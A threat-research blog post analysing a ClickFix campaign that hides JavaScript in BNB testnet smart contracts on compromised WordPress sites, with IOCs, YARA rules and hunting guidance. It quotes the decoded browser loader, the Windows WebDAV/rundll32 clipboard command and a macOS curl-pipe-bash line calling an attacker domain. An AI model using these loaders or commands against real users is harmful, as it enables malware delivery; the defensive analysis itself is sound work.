Another day, another 1,738 compromised websites: ClickFix keeps leaning on EtherHiding for C2
ClickFix keeps leaning on EtherHiding for C2 - combined with a prior investigation, this now accounts for over 3,500 compromised sites.
The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.
TL;DR
A WebDAV/
rundll32loader (pcalua.exe -a powershell.exe -c "saps cmd ..."mounting\\{random}.{delivery-domain}@SSL\{uuid}as a fake file share and runningrundll32 gc.key,#1) traces back to an EtherHiding injection - malicious JavaScript hosted entirely inside BNB Smart Chain testnet smart-contract storage, injected into compromised WordPress sites behind a fake “I’m not a robot” ClickFix overlay. I independently re-verified every on-chain fact in an existing analysis, and along the way caught the operator rotate a C2 domain live, mid-revalidation, on the exact same contract address - and found a second execution mechanism (a plaincurl | bashcommand for macOS) nobody had documented yet.If this is your fleet, do these first:
- Block outbound WebDAV verbs (
PROPFIND,MKCOL) to non-corporate destinations, or disable the WebClient service entirely if you have no legitimate use case for it.- Alert on any interactive
powershell.exe/cmd.exewhose parent ispcalua.exe- a rarely-abused, highly anomalous pairing.- Treat a browser making an
eth_callto a public BSC-testnet RPC as a near-certain compromise signal - no ordinary site visitor has a reason to query blockchain testnet infrastructure.Full IOC table and YARA/Sigma-style hunt queries at the bottom.
Another day, another compromised WordPress site quietly running a smart contract’s JavaScript instead of its own. I’ve written about EtherHiding on this blog before - malware operators using blockchain storage as an unkillable hosting layer for their payloads - but this one came with a bonus: I caught the operator rotate a live C2 domain in the middle of my own revalidation, on the exact same contract address, hours apart on the same day. That’s not a theory about how these campaigns evolve. That’s a byte-for-byte, timestamped before-and-after.
The starting point was a single Windows command line: a WebDAV-disguised download chained through pcalua.exe - part of a trend I’ve been noticing lately, attackers rotating through different signed-binary proxies as the outer launcher on these WebDAV-loader chains rather than sticking to the usual handful. Pulling on that thread led to a browser-side EtherHiding injection, three (then four) confirmed C2 wallets, and - once I went back and independently re-checked every claim rather than trusting the first pass - a compromised-site count that needed a real correction, not just a re-confirmation. Here’s the whole chain, what held up, what didn’t, and what I found that the first look missed entirely.
The attack at a glance
1
2
3
4
5
6
7
Compromised WordPress site (EtherHiding JS injection, hidden in a smart contract)
-> fake "I'm not a robot" ClickFix overlay
-> victim copies a command to clipboard, pastes into Win+R
-> pcalua.exe -a powershell.exe -c "saps cmd ..." (LOLBIN proxy, optional)
-> cmd.exe delayed-expansion variable reassembly (defeats substring detection)
-> pushd \\{random}.{delivery-domain}@SSL\{uuid} (WebDAV HTTPS mount disguised as a UNC path)
-> rundll32 gc.key,#1 (DLL execution by ordinal, no local file path ever appears)
Everything from pushd onward runs inside a single, unremarkable-looking directory-change-then-run command. There’s no visible download, no browser, no curl, no Invoke-WebRequest. If you only look for “suspicious network tools” in your telemetry, this chain is built to walk straight past you.
How it works
Getting in the door: EtherHiding, again
The injection itself is a single anomalous script tag sitting among a compromised site’s legitimate plugin scripts:
1
<script id="_ea_s" src="data:text/javascript;base64,KGZ1bmN0aW9u(...)"></script>
Decoding that data: URI gives an obfuscated loader whose entire job is to eth_call a smart contract’s get() function - selector 0x6d4ce63c - over a public BNB Smart Chain testnet RPC (bsc-testnet-rpc[.]publicnode[.]com). The contract’s storage holds the actual payload, base64-encoded. There’s no server to take down here; the “hosting provider” is a blockchain.
Worth pausing on the testnet detail, because it’s the whole reason this works cheaply. eth_call is a read-only query - it costs no gas and needs no wallet, on any chain. But deploying the contract and updating its stored payload both require signed transactions, which normally cost real gas. Testnet gas is free and requestable from public faucets, so the entire C2 layer - deploy, rotate, read, repeat - costs the operator nothing and needs no funded mainnet wallet. Free hosting, and it survives takedown requests because there’s no domain or IP to take down; there’s a contract address on a public ledger.
The loader chains through three stages, each fetched via its own eth_call:
- Stage 1 decodes to Stage 2’s fetch call.
- Stage 2 runs anti-analysis checks (
navigator.webdriver, headless browser user-agent strings, zero-size window) and branches by OS - Windows and macOS eacheth_calla different contract for their OS-specific Stage 3. - Stage 3 builds the fake CAPTCHA overlay and, on click, writes an attack command straight to the clipboard.
Decoded, Stage 1 is compact enough to show in full - the eth_call, the base64/eval handoff, and the OS-gate all live in one small IIFE:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(function(){
async function load_(address){
let _data={method:"eth_call",params:[{to:address,data:"0x6d4ce63c"},"latest"],id:97,jsonrpc:"2.0"};
let response=await fetch("https://bsc-testnet-rpc[.]publicnode[.]com",{method:"POST",body:JSON.stringify(_data)});
// ...decode the returned hex, base64-decode the result, then:
eval(atob(value));
}
const isHeadless=()=>{ /* navigator.webdriver, HeadlessChrome UA, zero-size window checks */ };
const isWindows=navigator.userAgent.includes("Windows");
const isMac=navigator.userAgent.includes("Macintosh");
isHeadless()||isLocalhost()
? console.log("stop watching us :)")
: isWindows ? load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff")
: isMac && load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5");
})();
(Trimmed for readability - the full decoded file is in the companion detections repo.) That “stop watching us :)” line is the only bit of personality in an otherwise all-business loader - a small, deliberate jab at anyone sandboxing this instead of being a real victim.
Worth a direct comparison to the EtherHiding kit from my last post on this technique: different chain entirely (BSC testnet here, Polygon there), different function selector, and a completely different, unminified, readable code style over there versus this compact, single-letter-variable build here. No shared code, no shared contract addresses, no shared wallets
- as far as I can tell this is an independently built kit that just happens to lean on the same underlying trick (arbitrary JS living in a smart contract’s storage, fetched with a free, unauthenticated read call) rather than a shared toolkit or the same operator branching out.
The clickfix overlay and the clipboard payload
The overlay is a convincing enough “I’m not a robot” checkbox. Click it and this lands on your clipboard (Windows branch):
1
pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\{random8}.{delivery-domain}@SSL\${uuid} & !c!!d! gc.key,#1' -WI MIn"
saps is PowerShell’s built-in alias for Start-Process; -WI MIn resolves via unambiguous-prefix matching to -WindowStyle Minimized. The cmd.exe layer reassembles pushd and rundll32 at runtime from split variables (a=pu, b=shd, c=run, d=dll32) purely to keep those two strings from ever appearing literally in the command line. \\host@SSL\path is documented Windows WebClient syntax - it silently mounts https://host/path as if it were a file share, so the “download” looks like a directory change. rundll32 gc.key,#1 then executes the mounted DLL by ordinal number rather than by exported function name - one more small avoid-a-readable-string trick.
pcalua.exe (Program Compatibility Assistant) is the outer proxy launcher here, and it’s optional - I saw one incident with it and a second, same gc.key/UUID pattern, without it. Don’t anchor a detection on the launcher choice alone.
A mac-based variant: a completely different chain
Decoding the macOS-branch contract’s own payload turned up a mac-targeted variant of the attack, and it doesn’t do WebDAV at all:
1
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '{uuid}.bahigo90bet[.]com/?ublib={uuid}')"
Plain curl | bash, dressed up with a fake “BotGuard” challenge message after it runs. Two platforms, two entirely different post-clipboard mechanisms, same clipboard-hijack front door. If your macOS detections are tuned around WebDAV or rundll32, this variant sails past them - it needs its own hunt.
Catching the rotation live
The most interesting thing I found wasn’t a new technique - it was a before-and-after. An earlier pass through this campaign, earlier the same day, had decoded the Windows-branch contract and recovered a delivery domain, behtarin-site-shartbandi[.]com, with the raw on-chain response saved to disk. When I re-fetched the exact same contract address independently, later that day, the bytes were different - 59,648 bytes back versus 60,104 originally - and decoding them gave a different embedded domain: site-shartbandi-farsi[.]com.
Same contract. Same get() call. Different payload. The operator updated the contract’s stored content in place rather than deploying a fresh one - domain rotation as a direct storage write, not a redeploy. I hadn’t expected that going in; my working assumption was that rotation meant a new contract address each time. Nice to have a hypothesis actually get tested against live data and come back with a real answer either way.
Pulling that same recursive-decode approach across every contract I could reach turned up one more delivery domain the original pass hadn’t gotten to yet: casinomhub[.]bet, on a Windows-branch contract serving a different cluster of compromised sites. All four of these domains - behtarin-site-shartbandi[.]com, site-shartbandi-farsi[.]com, casinomhub[.]bet, and the macOS-only bahigo90bet[.]com - share the exact same Cloudflare nameserver pair, and two of them were registered on the same day as each other, in each pairing. Same operator, bulk-registered domain inventory, rotating through it.
Scaling the check: 24 sites was never going to be the whole picture
The original contract/site sample covered 24 compromised sites by hand. I scaled that to the full population instead - every site a fresh urlscan sweep returned, 1,816 of them - by pulling each one’s stored scan result and extracting the exact contract address its injected loader called. The headline: no new genuine campaign contract turned up. Every one of the 12 already-known contracts held up under a sample 75x larger than the original, each one individually live-verified. That’s a better result than finding more contracts would have been - it means the picture I already had wasn’t a small-sample artifact.
Getting to a number I’d actually trust took two more checks on top of that. First, I tested every candidate contract the wider sweep surfaced against the campaign’s own fingerprints - does its owner() match a known operator wallet, does its payload contain the campaign’s known markers - before counting anything it touched as a real victim. Second, I confirmed each site was actually the one running the injected script, not just a page a compromised site happened to redirect to afterward, by tracing which page’s document context issued the real eth_call rather than trusting the domain a scan got filed under.
Final corrected total, after both checks: 1,738 confirmed compromised sites. Real number’s a bit smaller than the first pass reported, and I’d rather publish the smaller, correct one.
Laid out by wallet and contract, the final picture looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Wallet 0xd71f4cdc... (primary - owns both site clusters, both OS branches)
|-- stage-1, symmetryclosets cluster .......... 851 sites
|-- stage-1, second site cluster ................ 62 sites
|-- Windows branch, symmetryclosets .............. 18 sites
|-- macOS branch, symmetryclosets ................. 0 sites (chained-to only)
|-- Windows-equivalent branch, second cluster ..... 0 sites (chained-to only)
'-- utility/gate contract ......................... 16 sites
wallet total: 947 sites
Wallet 0x25a7625b... (secondary deployer)
'-- rotated stage-1 contract ..................... 419 sites
Wallet 0x09813ef4... (secondary deployer)
'-- rotated stage-1 contract ..................... 244 sites
Utility contract with no owner() function (unattributed)
'-- .................................................22 sites
+ matched the campaign's on-chain signature, contract not
individually re-verified this session ..............106 sites
--------------------------------------------------------------
= 1,738 confirmed compromised sites
The two 0-site branch contracts are still confirmed genuine - they’re just the second hop in their chain (Stage 2 fetches them), not the first eth_call a site’s own page makes, so they didn’t turn up as anyone’s directly-observed first contact point in this particular harvest.
Techniques observed
The following techniques have been mapped to MITRE ATT&CK for future reference.
| Tactic | Technique | ATT&CK ID | What it did here |
|---|---|---|---|
| Resource Development | Compromise Infrastructure | T1584.004 | 1,738 legitimate small-business sites used as delivery infrastructure |
| Initial Access | Drive-by Compromise | T1189 | Injected script served from each compromised site |
| Command and Control | Web Service: Dead Drop Resolver | T1102.001 | Payload resolved via a BSC-testnet smart contract’s eth_call return value |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | Multi-layer base64/eval(atob(...)) nesting; per-build obfuscated variable names |
| Defense Evasion | Signed Binary Proxy Execution | T1218 | pcalua.exe used as an optional outer launcher |
| Defense Evasion / Execution | System Binary Proxy Execution: Rundll32 | T1218.011 | rundll32 gc.key,#1 - ordinal export, no readable function name |
| Execution | User Execution: Malicious Copy/Paste | T1204.004 | ClickFix - victim pastes the clipboard command into Win+R or a terminal |
| Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | Windows branch launcher |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | macOS branch (/bin/bash -c "$(curl ...)") |
| Command and Control | Ingress Tool Transfer | T1105 | WebDAV @SSL UNC path disguising an HTTPS download as a file-share mount |
| Defense Evasion | Virtualization/Sandbox Evasion | T1497 | navigator.webdriver, headless-browser UA, zero-size-window checks before serving Stage 3 |
Why this matters
Every rung of this chain exists to make the “download” step invisible to something watching for downloads. There’s no file fetched over HTTP in any log a network team would normally scrutinize; there’s a directory mount and a DLL call by number. The payload itself resolves off-server, on a public blockchain, so there’s no C2 domain to sinkhole in the traditional sense - only a contract address, which the operator can quietly repoint whenever it suits them, which I now have direct, timestamped proof of.
The actual gc.key payload’s capability is still unknown - every copy I could reach was already gone by the time I looked, on both continents of this investigation. That’s the honest state of it: a confirmed PE32+ DLL, one recovered hash, and a delivery mechanism understood end to end, but the “what does it actually do once it runs” question stays open until someone catches a live instance or recovers a WebClient cache from an affected host.
What defenders can do
| Technique (ATT&CK) | What to do | Essential Eight | What to hunt for |
|---|---|---|---|
| WebDAV ingress transfer (T1105) | Block outbound WebDAV verbs (PROPFIND, MKCOL) to non-corporate destinations; disable the WebClient service entirely on hosts with no legitimate WebDAV use case | No direct Essential Eight home - network architecture, see below | Microsoft-Windows-WebClient event log for @SSL UNC connection attempts, followed by a rundll32 child process |
| Rundll32 ordinal execution (T1218.011) | Application control rules that flag rundll32 invocations using a bare ordinal (,#N) rather than a named export | Application Control (L1+) | Process-creation telemetry: rundll32.exe with a comma-number argument and no local file path |
| Signed binary proxy execution (T1218) | Alert on pcalua.exe spawning powershell.exe or cmd.exe - a rare, almost always anomalous pairing | Application Control (L1+) | EDR process tree: parent pcalua.exe, child interactive shell |
| ClickFix clipboard hijack (T1204.004) | User education that no legitimate site ever asks for a paste into Run or a terminal; application control catches the execution even when the user follows the prompt | Application Control; User Application Hardening | Event ID 4688 where the parent is an interactive powershell.exe/cmd.exe/Terminal with no arguments and the child touches a mount or download |
| EtherHiding C2 (T1102.001) | Treat any browser-originated eth_call to a public testnet RPC from a non-developer endpoint as an anomaly worth alerting on | No direct Essential Eight home - network architecture, see below | Proxy/DNS logs for requests to bsc-testnet-rpc[.]publicnode[.]com and similar public RPC endpoints from ordinary user traffic |
| Drive-by compromise (T1189) | If you run WordPress or another CMS at scale, audit your own rendered page source for an unexplained inline <script> with a data:text/javascript;base64, source, and rotate credentials/patch plugins on anything matching | Patch Applications | new Function( or eval(atob( next to a base64 blob anywhere in your site’s delivered HTML |
T1189 (Drive-by Compromise) and the EtherHiding C2 technique don’t have a clean home in the standard Essential Eight - the Eight assumes you’re defending your own endpoints, not that your public-facing website is the delivery vehicle for someone else’s endpoint attack. Where E8 doesn’t have an answer, application control and network egress monitoring on the consuming side are the honest fallback, and CMS hygiene (patching, plugin audits, credential rotation) is the fallback on the hosting side.
For the WebDAV/rundll32 chain specifically: the WebClient service is disabled by default on Windows Server and can be safely disabled on most workstation fleets that don’t have a genuine business reason to mount WebDAV shares. That single change removes this entire delivery mechanism regardless of which domain the operator rotates to next - a better return than chasing individual C2 domains one at a time.
Hunting and detection summary
- Process-creation telemetry for
pcalua.exespawningpowershell.exeorcmd.exe(Event ID 4688 or Sysmon Event ID 1). cmd.execommand lines matching the delayed-expansion variable-split pattern:set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&for %.- Any command line containing both
@SSL\andrundll32. rundll32invocations ending in a bare,#1(or any bare ordinal) with no preceding local file path.- Microsoft-Windows-WebClient event log entries for
@SSLUNC mounts, correlated with a subsequentrundll32child process. - On macOS:
bash -ccommand lines containing acurlcall with aMac OS X 10_15_7user-agent string and a?ublib=query parameter. - Web proxy/DNS logs for any request to
bsc-testnet-rpc[.]publicnode[.]com(or another public BSC-testnet RPC) originating from ordinary browsing traffic, not a developer or CI endpoint. - File hash sweep for the one confirmed
gc.keybuild (below) regardless of filename, since the actor may rename it per deployment. - If you operate a WordPress or other CMS site: check your own rendered source for an unexplained
<script id="_ea_s">-shaped inline tag or anydata:text/javascript;base64,script source you didn’t put there.
Indicators of compromise
| Type | Indicator | Notes |
|---|---|---|
| Domain | betwanaa[.]com | WebDAV delivery apex |
| Domain | boroo[.]bet | WebDAV delivery apex - same Cloudflare account as betwanaa[.]com |
| Domain | 1bet1yek[.]bet | WebDAV delivery apex - same toolkit, different Cloudflare account |
| Domain | behtarin-site-shartbandi[.]com | WebDAV delivery apex - confirmed correct at original analysis time, since rotated away from on the same contract |
| Domain | site-shartbandi-farsi[.]com | WebDAV delivery apex - current embedded domain on that same contract as of this revalidation |
| Domain | casinomhub[.]bet | WebDAV delivery apex - newly decoded this revalidation |
| Domain | bahigo90bet[.]com | curl-pipe-bash delivery apex - macOS branch only, not WebDAV |
| Domain (shared infra, not itself malicious) | bsc-testnet-rpc[.]publicnode[.]com | Public BSC testnet RPC the injected loader beacons |
| Smart contract | 0xA1decFB75C8C0CA28C10517ce56B710baf727d2e | Stage-1 payload contract - 853 sites observed calling it |
| Smart contract | 0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437 | Rotated stage-1 contract - 419 sites |
| Smart contract | 0xfb448d465841c63f3bc433be61eb692b813d469d | Rotated stage-1 contract - 244 sites |
| Smart contract | 0xdf132e2893824e26ec8ae8014b4f4facd54ed67f | Stage-1 contract, second site cluster - 61 sites |
| Smart contract | 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff | Windows-branch contract - the one caught rotating domains live |
| Smart contract | 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5 | macOS-branch contract - curl-pipe-bash mechanism |
| Smart contract | 0x0cd58060328e308a43d3c53cfd03a45233ea308a | Windows-equivalent branch, second site cluster - embeds casinomhub[.]bet |
| Wallet (primary operator) | 0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 | Owns 7 of the 12 known contracts; nonce grew +33 during this revalidation alone |
| Wallet (secondary deployer) | 0x25a7625b3c74bb0452333c8d7f463a2f640fa5af | Owns 1 rotated stage-1 contract |
| Wallet (secondary deployer) | 0x09813ef4ab9a7361a8d0455d57e9a81295dae5f8 | Owns 1 rotated stage-1 contract |
| SHA256 | f11057ab58bef936d98ba189829c64260a6a540cdaa046f93613138e820c98c6 | One confirmed gc.key build - PE32+ DLL x86-64, 1,268,336 bytes |
| Filename | gc.key | Consistent across every delivery apex and victim instance observed |
The complete IOC set - including the utility/gate contracts, selectors, and the full corrected 1,738-site list - is in the companion detections repo linked at the end.
Detection rules
rule Betwanaa_Boroo_WebDAV_RunDLL32_Loader_CmdLine
{
meta:
description = "Detects the WebDAV@SSL->rundll32 gc.key loader command line (pcalua.exe proxy layer optional)"
date = "2026-07-15"
author = "blueteam.cool"
strings:
$lolbin = "pcalua.exe" ascii wide nocase
$webdav_ssl = "@SSL\\" ascii wide nocase
$rundll_ord = "rundll32" ascii wide nocase
$ord_call = ",#1" ascii wide
$delayexp = /set [a-d]=[a-z0-9]{2,6}&set/ ascii nocase
$payload = "gc.key" ascii wide nocase
condition:
( $webdav_ssl and $ord_call and $delayexp ) or
( $lolbin and $webdav_ssl and $rundll_ord ) or
( $webdav_ssl and $payload )
}
rule Betwanaa_Boroo_MacOS_CurlBash_Loader_CmdLine
{
meta:
description = "Detects the macOS curl-pipe-bash variant of this same campaign - distinct from the Windows WebDAV pattern"
date = "2026-07-15"
author = "blueteam.cool"
strings:
$bash = "/bin/bash -c" ascii wide
$curl_ua = "Mac OS X 10_15_7" ascii wide
$ublib = "?ublib=" ascii wide
condition:
( $bash and $curl_ua ) or ( $bash and $ublib )
}
Sigma-style command-line hunt pseudocode:
1
ParentImage endswith 'pcalua.exe' AND Image endswith 'powershell.exe'
1
CommandLine contains '@SSL\' AND CommandLine contains 'rundll32'
1
CommandLine matches 'set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&set [a-d]=\w{2,6}&for %'
Closing
What sticks with me here is the scale, and how fast it’s adding up. I mapped five other EtherHiding operators across two kit families a few days before this one and landed on 1,829 confirmed compromised sites. Add this campaign’s 1,738, found within days of that count, and that’s over 3,500 confirmed compromised websites tied to ClickFix campaigns leaning on EtherHiding for C2 - across just two investigations, back to back. That’s not a slow trickle. That’s the same pattern showing up again and again, faster than I can fully map it.
ASD called this exact shape out in their advisory on large-scale exploitation campaigns targeting website content management systems, and everything across these investigations backs it up: CMS platforms are being compromised at scale and repurposed as someone else’s delivery infrastructure, not just defaced or spammed. If you run a CMS site of any size, that’s worth taking seriously on its own merits - you might be the infrastructure in an attack aimed at somebody else’s endpoint, and never know it.
Stay curious.
On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.
References
- MITRE ATT&CK - T1584.004: Compromise Infrastructure
- MITRE ATT&CK - T1189: Drive-by Compromise
- MITRE ATT&CK - T1102.001: Web Service: Dead Drop Resolver
- MITRE ATT&CK - T1140: Deobfuscate/Decode Files or Information
- MITRE ATT&CK - T1218: System Binary Proxy Execution
- MITRE ATT&CK - T1218.011: System Binary Proxy Execution: Rundll32
- MITRE ATT&CK - T1204.004: User Execution: Malicious Copy/Paste
- MITRE ATT&CK - T1059.001: Command and Scripting Interpreter: PowerShell
- MITRE ATT&CK - T1059.004: Command and Scripting Interpreter: Unix Shell
- MITRE ATT&CK - T1105: Ingress Tool Transfer
- MITRE ATT&CK - T1497: Virtualization/Sandbox Evasion
- ASD/ACSC - Large-scale exploitation campaign targeting website content management systems
- Full evidence trail, combined IOC lists, and revalidation logs: BlueTeamCoolTeam/detections